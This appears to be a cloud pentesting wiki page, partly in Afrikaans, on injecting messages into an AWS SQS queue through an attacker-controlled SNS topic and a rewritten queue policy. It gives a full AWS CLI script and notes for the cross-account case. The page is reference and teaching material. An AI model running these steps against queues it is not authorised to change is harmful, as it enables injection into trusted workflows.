# AWS – SQS Kruis-/Dieselfde-rekening Injection deur SNS Subscription + Queue Policy

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## Description

Misbruik 'n SQS queue resource policy om 'n aanvaller-beheerde SNS topic toe te laat om messages in 'n slagoffer se SQS queue te publiseer. In dieselfde rekening bevestig 'n SQS subscription na 'n SNS topic outomaties; in kruis-rekening moet jy die SubscriptionConfirmation token vanaf die queue lees en ConfirmSubscription aanroep. Dit maak message injection moontlik waarop downstream consumers moontlik impliciet vertrou.

### Requirements
- Vermoë om die teiken SQS queue resource policy te wysig: `sqs:SetQueueAttributes` on the victim queue.
- Vermoë om 'n SNS topic onder aanvallerbeheer te skep/publiseer: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
- Net kruis-rekening: tydelike `sqs:ReceiveMessage` on the victim queue om die confirmation token te lees en `sns:ConfirmSubscription` aan te roep.

### Same-account exploitation
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### Kruis-rekening notas
- Die queue-beleid hierbo moet die buitelandse `TOPIC_ARN` (attacker account) toelaat.
- Subskripsies sal nie outomaties bevestig word nie. Gee jouself tydelike `sqs:ReceiveMessage` op die victim queue om die `SubscriptionConfirmation` boodskap te lees en roep dan `sns confirm-subscription` met sy `Token`.

### Impak
**Potential Impact**: Deurlopende ongevraagde boodskap-inspuiting in 'n vertroude SQS queue via SNS, wat moontlik onbedoelde verwerking, datavervuiling, of misbruik van werkvloei kan veroorsaak.

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